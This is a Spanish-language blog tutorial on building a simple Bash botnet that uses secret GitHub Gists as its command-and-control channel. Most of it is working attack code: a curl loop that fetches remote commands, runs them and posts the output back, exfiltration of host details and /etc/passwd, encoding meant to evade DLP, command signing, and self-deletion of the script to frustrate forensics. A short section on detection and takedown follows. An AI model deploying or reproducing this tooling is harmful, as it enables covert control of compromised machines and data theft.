Creando mi propia botnet “simple”

Este es un artículo más o menos largo, por lo que si no quieres leer todo acá te dejo los links a cada parte:

Este es un ejercicio que hice para responder una pregunta que puede ser interesante para uds. también: ¿Cómo se pueden usar sitios conocidos como centros de Comando y Control para una botnet?

Hay varios artículos al respecto, mostrando que hay malwares que usan y abusan de Github, Gmail, etc para crear sus botnets:

  1. “Gitpaste-12 Worm Targets Linux Servers, IoT Devices” https://threatpost.com/gitpaste-12-worm-linux-servers-iot-devices/161016/
  2. “From Agent.BTZ to ComRAT v4: A ten‑year journey” https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/
  3. “Winnti Abuses GitHub for C&C Communications” https://www.trendmicro.com/en_us/research/17/c/winnti-abuses-github.html
  4. “CrimeOps of the KashmirBlack Botnet” https://www.imperva.com/blog/crimeops-of-the-kashmirblack-botnet-part-i/
  5. “An Old Joker’s New Tricks: Using Github To Hide Its Payload” https://www.trendmicro.com/en_us/research/20/k/an-old-jokers-new-tricks–using-github-to-hide-its-payload.html

Con esto me puse a pensar en cómo podría hacer una botnet y al mismo tiempo cómo podría detectarla en un ambiente controlado.

Partamos por el principio.

¿Qué es una botnet?

Si buscamos una definición, la que está en Wikipedia es bastante buena:

Botnet es un término que hace referencia a un conjunto o red de robots informáticos o bots, que se ejecutan de manera autónoma y automática. El artífice de la botnet puede controlar todos los ordenadores/servidores infectados de forma remota.

O sea, tenemos una serie de programas que están funcionando en conjunto, pero además están siendo controlados por un actor, quien es el que define cuál sería el objetivo de uno o más bots.

Este actor generalmente se desconoce, pero el punto desde donde controla la botnet se llama centro de Comando y Control (C&C o C2), y es desde ahí que (en teoría) controla la red y distribuye cual va a ser el objetivo.

Hoy en día existen varias botnet famosas tanto por el programa que las controla, como por los objetivos que tienen:

  • Emotet (distribuidor de malware)
  • Trickbot (troyano y distribuidor)
  • Qakbot (troyano y distribuidor)
  • Familia Mirai (DDoS)
  • Lucifer (DDoS)
  • KashmirBlack (ataques de fuerza bruta)

Y ¿para qué querríamos una botnet?

Puede tener muchos usos, pero la idea de este artículo es entender un poco cómo podría estar armada una botnet, en qué me tengo que fijar para saber si estoy comprometido y que “provecho” se le podría sacar a una botnet sí es que uno toma las precauciones necesarias.

¿Qué haremos en este artículo?

En este artículo los guiaré en un ejercicio para crear una botnet. Terminaremos con un ejemplo de cómo se puede construir un agente (bot) y cómo se podrían manejar a través de un canal de comunicación “válido”.

¿Que consideraciones debemos tener para crear una botnet?

Existen distintas formas de armar una botnet, y para armar una hay que tener algunas consideraciones:

  • Bots controlados directos desde uno o más C2
  • Bots que van a buscar informacuión a los C2 o a proxy del C2
  • Bots que se distribuyen información entre sí (P2P)

Deberíamos pensar en varias cosas, y todas que apunten a que pase piola dentro del huésped. Por ejemplo:

1) Necesitamos pensar en un agente liviano, que no necesite de mucho código “extra” para poder funcionar.

2) Necesitamos pensar en un agente que sea poco detectable, que cuando se ejecute en el huésped no ocupe muchos recursos ni haga cosas extrañas en el sistema para llevar a cabo sus tareas.

3) Queremos que el bot nos haga caso solamente a nosotros y no a “cualquiera” que sepa cómo o dónde comunicarse con la red. Con esto prevenir potenciales “takeovers” de botnets rivales.

4) Pero una de las que debemos pensar es como le vas a comunicar a cada agente las instrucciones requeridas y cuan ruidosa/anómala es esa comunicación.

Pensando en la comunicación

Por ejemplo, lo clásico es pensar en una o varias IP que hagan de centro de comando y control, pero es muy poco estable, porque tienes pocos puntos que son críticos para el funcionamiento de la botnet. Basta que esa IP la bloqueen o te suspendan el hosting para que pierdas el control.

Otra opción es tener una infraestructura P2P para mantener la comunicación entre los bots, pero eso requiere cargar cada uno de los agentes con las librerías y/o código necesario para que entienda el protocolo de comunicación definido y establecer las reglas para las actualizaciones de los comandos. Aunque es una idea interesante, lo dejaremos para un futuro, y así dejar cada bot lo más “liviano” posible.

Botnet P2P
https://blog.netlab.360.com/mozi-another-botnet-using-dht/

Otra forma sería pensar en tener proxies, o intermediarios, para que estos sean los que escondan de una u otra forma el contenido que quieres comunicar a tus bots. Esto tiene bastantes puntos a favor, pero el plan y el diseño de arquitectura tiene que ser bien desarrollado para que tenga el aguante ante “inestabilidades” y la agilidad para los cambios de proxy sin delatar tu centro de comando.

Conexión a través de proxies intercambiables
https://en.wikipedia.org/wiki/Botnet

Lo otro es (ab)usar de un intermediario que ya sea reconocido como “válido” o “limpio” y utilizarlo para que entregue nuestro contenido. Nos ayuda mucho a no tener que pensar en la resiliencia de la red.

(Ab)Usando GitHub

Vamos a usar a Github como intermediario, para que a través de esta plataforma nuestra botnet sepa qué y cómo actuar.

Lo bueno de pensar en la plataforma de Github es que es: bastante estable, no tenemos que pensar en pérdidas de conexión; bien reputada, no va a despertar sospechas por tener conexiones hacia ese dominio; tiene integración a través de API; puede recibir muchos datos y mantenerlos sin problemas.

Para todo lo anterior vamos a “abusar” de una funcionalidad de Github, los Gists. Según la definición de ellos mismos los gists son:

Un gist es un archivo compartible que puedes editar, clonar y bifurcar en GitHub.

Además tienen ventajas (que yo no conocía previamente): que un gist puede tener la propiedad de “secreto”, o sea, que no es listable publicamente; y además puede abarcar más de un archivo, por lo que podemos juntar varios puntos de entrega dentro de un mismo gist.

Entonces definiremos cada gist como un punto de intercambio de información para un bot, o sea, cada bot va a tener su propio gist en donde se le va a enviar información y va a poder responder a ella.

Diagrama original de botnet

¿Cómo funcionaría esto?

Como habíamos comentado anteriormente, vamos a usar a Github como intermediario, entonces el controlador (yo en este caso) le deja mensajes en los gists a cada bot para que ejecuten sus tareas, y luego cada bot escribe de vuelta lo que hizo en el mismo gist. Como se pueden tener varios archivos por gists podemos tener todas las respuestas que querramos y “rescatar” toda la información que necesitemos de la ejecución de estos comandos.

Si lo vemos paso a paso

  • Cada bot se registra en la cuenta y recibe un id de Gist “secreto” (que va a ser su canal de comunicación) y espera instrucciones.
  • El controlador genera un archivo nuevo dentro del Gist del bot con un comando a ejecutar.
  • El bot valida que el comando sea enviado por el controlador, y si es correcto deja la respuesta nuevamente en el gist.

Veamos ahora como quedaría parte por parte.

Paso 1) creación de cuenta y token para API

Como es un sitio público, necesitamos tener una cuenta de Github. La recomendación es que lo hagan con una cuenta nueva, para que los gists nuevos que se creen no ensucien o desordenen lo que ya tienes.

Luego de crear la cuenta necesitamos crear el token, y para ello seguiremos los pasos de la documentación oficial. Un paso importante es tener verificado el correo de la cuenta.

Otro detalle importante viene en la parte de generar los permisos para el token, en la sección de gists, solo hay un permiso, así que seleccionamos ese:

Permisos para crear gists

Con esto vamos a tener un string tipo hash MD5, el cual tendremos que guardar para usar con nuestros bots.

Paso 2) Creación del bot (simplificación)

Disclaimer: vamos a hacer los ejemplos solo para Linux, porque son bots más sencillos de definir y gestionar, pero sería lo mismo con bots que sean a través de Powershell o VBS o JScript en Windows, solo hay que cambiar de lenguaje.

Como queremos que los bots sean lo más simples (y soy un poco flojo) necesitamos “registrar” los bots, creando un nuevo gist en Github. Para eso basta con hacer un curl autorizado como el que sigue:

curl -s -X POST -H "Authorization: token ${TOK}" -H "Accept: application/vnd.github.v3+json" https://api.github.com/gists -d '{"public": false, "files": {"registration.txt": { "content": "Hola! Soy un bot"} } }'

Para explicar un poco el comando tenemos las siguientes partes

 -s para que sea silencioso con el output y solamente nos entregue la respuesta del sitio
 -H "Autorization: token..." para pasarle el token que nos autoriza a crear gists
 -d ... para pasar los archivos y el contenido de estos
"public": false   lo usamos para que el archivo sea secreto y no listable

Entonces, con el cuerpo POST creamos un archivo secreto que se llama “registration.txt” (el nombre puede ser cualquier cosa), con el contenido “Hola! Soy un bot“.

Al ejecutar el curl anterior tendremos como respuesta un JSON bastante largo con el id de nuestro nuevo gist. O sea, ya tenemos el canal que necesitamos! Un id único con el cual interactuar con Github que identifica a nuestro bot.

Pero, ¿qué pasa si a nuestro bot, en vez de colocar un archivo con el texto “Hola! Soy un bot” tenemos como texto lo siguiente?

"$(hostname -I);$(uname -a)"

Exacto! Con eso podemos tener en el registro del bot, instantáneamente la IP interna, y la identificación de kernel del sistema objetivo.

Pero con esto solamente logramos la “exfiltración” de los datos, pero no tenemos interacción todavía con nuestro bot. Nos falta poder recibir y ejecutar los comandos que lleguen desde el controlador de bots.

Paso 3) Enviar los comandos

Para enviarle los comandos a la botnet vamos a definir un protocolo, vamos a usar nuestro intermediario (Github) como mensajero. Le dejaremos un archivo especial, que el bot leerá y luego eliminará.

En nuestro caso vamos a definir que el archivo se va a llamar “comm” (sin extensión), y en este archivo nos vamos a comunicar con la botnet.

¿Y la respuesta?

Bueno, la respuesta es sencillamente otro archivo que el mismo bot agrega a la lista de archivos, al igual que el archivo de registro, pero uno nuevo que “no haya estado antes”.

Si tenemos definido esto, lo que tenemos que hacer para este administrador de bots es un pequeño script que pase por todos los gists que tenemos guardados en la cuenta, elija al bot que quiere enviarle un comando, y guarde ese comando como el contenido en un nuevo archivo llamado “comm” dentro de ese gist.

Listamos los bots al listar todos los gists asociados a este token:

curl -s -H "Accept: application/vnd.github.v3+json" -H "Authorization: token ${TOK}" https://api.github.com/gists

Con esto tenemos un gran JSON con la lista de todos los gists, y necesitaríamos filtrar un poco para tener solamente los ids de los bots (la URL del Gist), pero se puede hacer con grep o jq.

Luego podemos crear (o actualizar) el archivo “comm” simplemente podemos usando el siguiente curl:

curl -s -X PATCH -H "Accept: application/vnd.github.v3+json" -H "Authorization: token ${TOK}" ${URL_GIST} -d  '{"public": false, "files": {"comm": { "content": "'${COMANDO}'"} } }'

Nuevamente tenemos que usar el token de autorización ${TOK} (el mismo que tiene cada bot). Además necesitamos la identificación del bot, que es su URL de Gist (o ${URL_GIST}) y el comando que necesita el bot va en el contenido de ${COMANDO}.

Wow! Entonces si ahora el bot lee el archivo “comm” que le toca a él puede encontrar un mensaje que puede interpretar o ejecutar directamente.

Por ejemplo, si en el texto de ${COMANDO} ponemos el clásico:

cat /etc/passwd;

Tenemos que la respuesta va a ser todo el resultado del archivo, siendo un éxito la exfiltración de datos desde el bot.

Paso 4) Mejorando el bot para que espere su comando

Tenemos que en el código anterior lo único que hacía el bot es registrarse como bot con un archivo y luego… nada más.

Necesitamos utilizar la información del registro para consultar nuevamente si es que tenemos algún comando que ejecutar. Entonces necesitamos un loop en el cual nos quedaremos esperando, algo como lo siguiente:

# Wait for commands
while true; do
     sleep 60
     # Check if there's anything to do
     URL_COM=$(curl -H "Authorization: token ${TOK}" "${URL_GIST}" -s | grep -e "/comm\"" | sed -e "s/^.https/https/" -e 's/".$//');
     if [ -n "${URL_COM}" ]; then
         # Get the command to execute
         RES=$(curl -s -H "Authorization: token ${TOK}" "${URL_COM}");
         # Delete the file
         curl -s -X POST -H "Authorization: token ${TOK}" -H "Accept: application/vnd.github.v3+json" ${URL_GIST} -d '{"public": false, "files": {"comm": { "content": ""} } }' > /dev/null
         # Execute the command
         COM=$( ${RES} 2>&1 )
         # Post back the reply
         curl -s -X PATCH -H "Accept: application/vnd.github.v3+json" -H "Authorization: token ${TOK}" ${URL_GIST} -d  '{"public": false, "files": {"'$(date +%Y%m%d%H%M%Z)'.txt": { "content": "'${COM}'"} } }'
     fi
done;

Con esto tenemos una interacción!

Un simple loop while true nos va a dejar durmiendo por 1 minuto (60 segundos), y luego hacemos el checkeo para ver si el archivo “comm” existe. Si ese archivo existe, busca los contenidos del archivo, luego los ejecuta directamente, y finalmente los sube de vuelta (al mismo Gist) como un archivo de nombre la fecha actual .txt.

Mientras siga “corriendo” el bot, va a seguir esperando por el archivo “comm” (que elimina cada vez que lo encuentra), por lo que no haría tanto ruido, solo 1 conexión por minuto a un sitio reputado como Github.com.

Paso 5) Primera mejora: codificación de mensajes

Muy bien! Por ahora tenemos una botnet funcional que cumple varias de las preocupaciones que habíamos dicho en un principio.

Hasta ahora, tenemos un bot simple, y liviano, que usa solo curl, sin ninguna librería extra, y se comunica con el sitio reputado como GitHub con un “protocolo” común, como son los gists.

Si queremos mejorar un poco más la comunicación de esta botnet tenemos que pensar más en codificar la comunicación. Para que no sea tan evidente (para los sistemas perimetrales como DLP) qué es lo que se está subiendo y bajando a GitHub. Además, si el mismo GitHub quisiera monitorear lo que tienen los archivos no va a entender tan rápido.

Para eso, lo mejor es seguir siendo simples y utilizar herramientas que vengan por defecto en la mayoría de las distribuciones Linux, entonces en mi implementación hice lo siguiente:

HEX -> REVERSE -> BASE64 -> HEX

No es para nada robusto, de hecho se nota el hecho que son caracteres hexadecimales porque son números muy seguidos unos de otros, pero para lo que necesitamos funciona bien.

Además, todas esas funcionalidades están casi por defecto en las distribuciones Linux:

  • xxd para convertir a hexadecimal
  • rev para dar vuelta un string
  • base64 para codificar en ese estándar

Y gracias a la concatenación de comandos sale muy sencillo definir tanto la codificación como la decodificación.

function enc {
        echo -e "$1" | xxd -p | paste -s -d "" - | rev | paste -s -d "" - | base64 -w 0 | tr -d "=" | xxd -p | paste -d "" -s
}
function dec {
        echo -e "$1" | xxd -r -p | base64 -id 2>/dev/null | rev | xxd -r -p
}

Recuerda que tanto el bot como el administrador de bots tiene que conocer esta codificación. Pero con eso definido ya nos preocupamos de pasar desapercibidos por las herramientas de DLP perimetrales.

Paso 6) Segunda mejora: Firma de mensajes

Ahora también necesitamos que los bots solamente ejecuten comandos del administrador, no de cualquiera que ponga un texto en el archivo “comm”. Recuerden que hasta ahora basta saber el id del bot (la URL) y tener el token para poder crear un archivo “comm” y que ese bot lo ejecute.

Para validar que sea el administrador quiero mantener la simpleza y usaremos la firma de mensajes a través de la arquitectura de llave pública y privada con OpenSSL.

Para más información sobre el cómo y porqué funciona está validación les dejo el artículo de Wikipedia sobre Criptografía Asimétrica, pero lo único que necesitamos saber es que existen 2 llaves y ambas son necesarias: pública y privada. Necesitamos que el administrador firme con su llave privada y que el bot tenga la llave pública para poder validar el comando.

Para lo anterior, como administrador necesitamos generar el par de llaves con el siguiente comando:

openssl genrsa -out "private.pem" 4096
openssl rsa -in "private.pem" -out "public.pem" -pubout > /dev/null

Con esto tenemos la llave privada (y pública también, pero es otro cuento) en el archivo private.pem, y la llave pública en el archivo public.pem.

Para firmar los mensajes vamos a generar la firma y añadirla al mensaje en la parte final de éste de la siguiente manera:

B64=$(echo "$MSG" | openssl dgst -sha1 -sign <(cat "private.pem") | base64 -w 0)
echo -e "$MSG:${B64}"

Luego necesitamos agregar como variable dentro del código del bot la llave pública y generar el código de validación del mensaje.

Paso 7) Últimos detallitos

Para que quede más “bonito” el código de la botnet agregamos algunos detalles:

Para no dejar tomada la conexión o la shell actual que uno tiene en la máquina que va a ser la bot, dejamos el script en segundo plano con nohup.

if [ "$#" == "0" ];then
         nohup bash "$(realpath "$0")" "--fg" 0<&- &> /dev/null &
         exit 0
fi

Para que no quede huella evidente en el disco (y trollear a los forenses un poquito), simplemente eliminamos el script al inicio de la ejecución.

rm $(realpath "$0");

Además se agregaron varios comentarios para que quede más entendible cada vuelta que se da el código.

Para el producto final pueden clonar el siguiente repositorio https://github.com/joydragon/Simple-Bash-Botnet

Desactivando esta botnet

Tan importante como crear la botnet, es saber los puntos débiles, y como desactivarla si es que ésta aparece a la vista.

En el caso de esta botnet simple, primero tenemos que detectarla.

Para eso tenemos que revisar constantemente los comandos ejecutados (ojalá con nuestro agente de seguridad, con ps o top en Linux), y vamos a ver una anomalía que hay un sleep, y de repente aparece un curl ejecutado desde el usuario de servidor web (puede ser normal tb, si es que usas aplicaciones web que se pueden actualizar a si mismas).

Esto debería saltar algún tipo de alarma, principalmente si es que este tipo de actividad no es reconocida.

Luego que se detectó la anomalía, para desactivar el bot, basta con matar el proceso, porque no tiene forma de persistencia (y está bien que eso sea así en esta botnet educativa).

Además como bonus, se puede revisar cuales son los bots hermanos de la botnet, ya que con el mismo token se puede revisar los otros gists que están en Github con el siguiente comando:

curl -s -H "Authorization: token ${TOK}" -H "Accept: application/vnd.github.v3+json" https://api.github.com/gists

Con eso puedes tener una visión completa de los demás bots y además cuál es la cuenta usada para esta botnet (y así enviarla como cuenta delictiva al mismo Github para que la de de baja).

Además, si se quiere eliminar la visibilidad del administrador de la botnet, basta con eliminar todos los gists secretos, y así el administrador no sabrá quién está “activo” y quien no.

Conclusiones

Ojalá que haya quedado claro que al hablar de “botnet” es solamente una red de bots, no tiene que ser tan complejo, sino que solamente tiene que ser “bien coordinado”.

Como vimos al principio, existen muchos tipos de botnet, que depende de cómo están construidas es la forma de atacarlas de vuelta, pero recomendamos dejar eso a las policías especialistas de cada país para no entrar en riesgos de demanda.

Como siempre, queremos compartir el código que apoya al artículo (está con algunas funcionalidades más, pero es la misma idea), lo pueden encontrar en: https://github.com/joydragon/Simple-Bash-Botnet

Cualquier comentario es bienvenido.

Muchas gracias por leer hasta acá.

Deje un comentario

Crea una web o blog en WordPress.com

Subir ↑